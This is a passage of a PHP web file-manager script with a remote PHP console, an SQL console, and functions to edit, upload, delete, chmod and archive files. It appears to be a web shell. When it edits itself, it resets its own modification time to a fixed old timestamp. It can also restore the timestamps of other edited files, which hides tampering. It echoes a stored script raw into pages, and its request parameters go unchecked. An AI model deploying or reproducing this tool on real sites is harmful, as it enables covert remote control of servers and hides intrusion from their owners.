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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
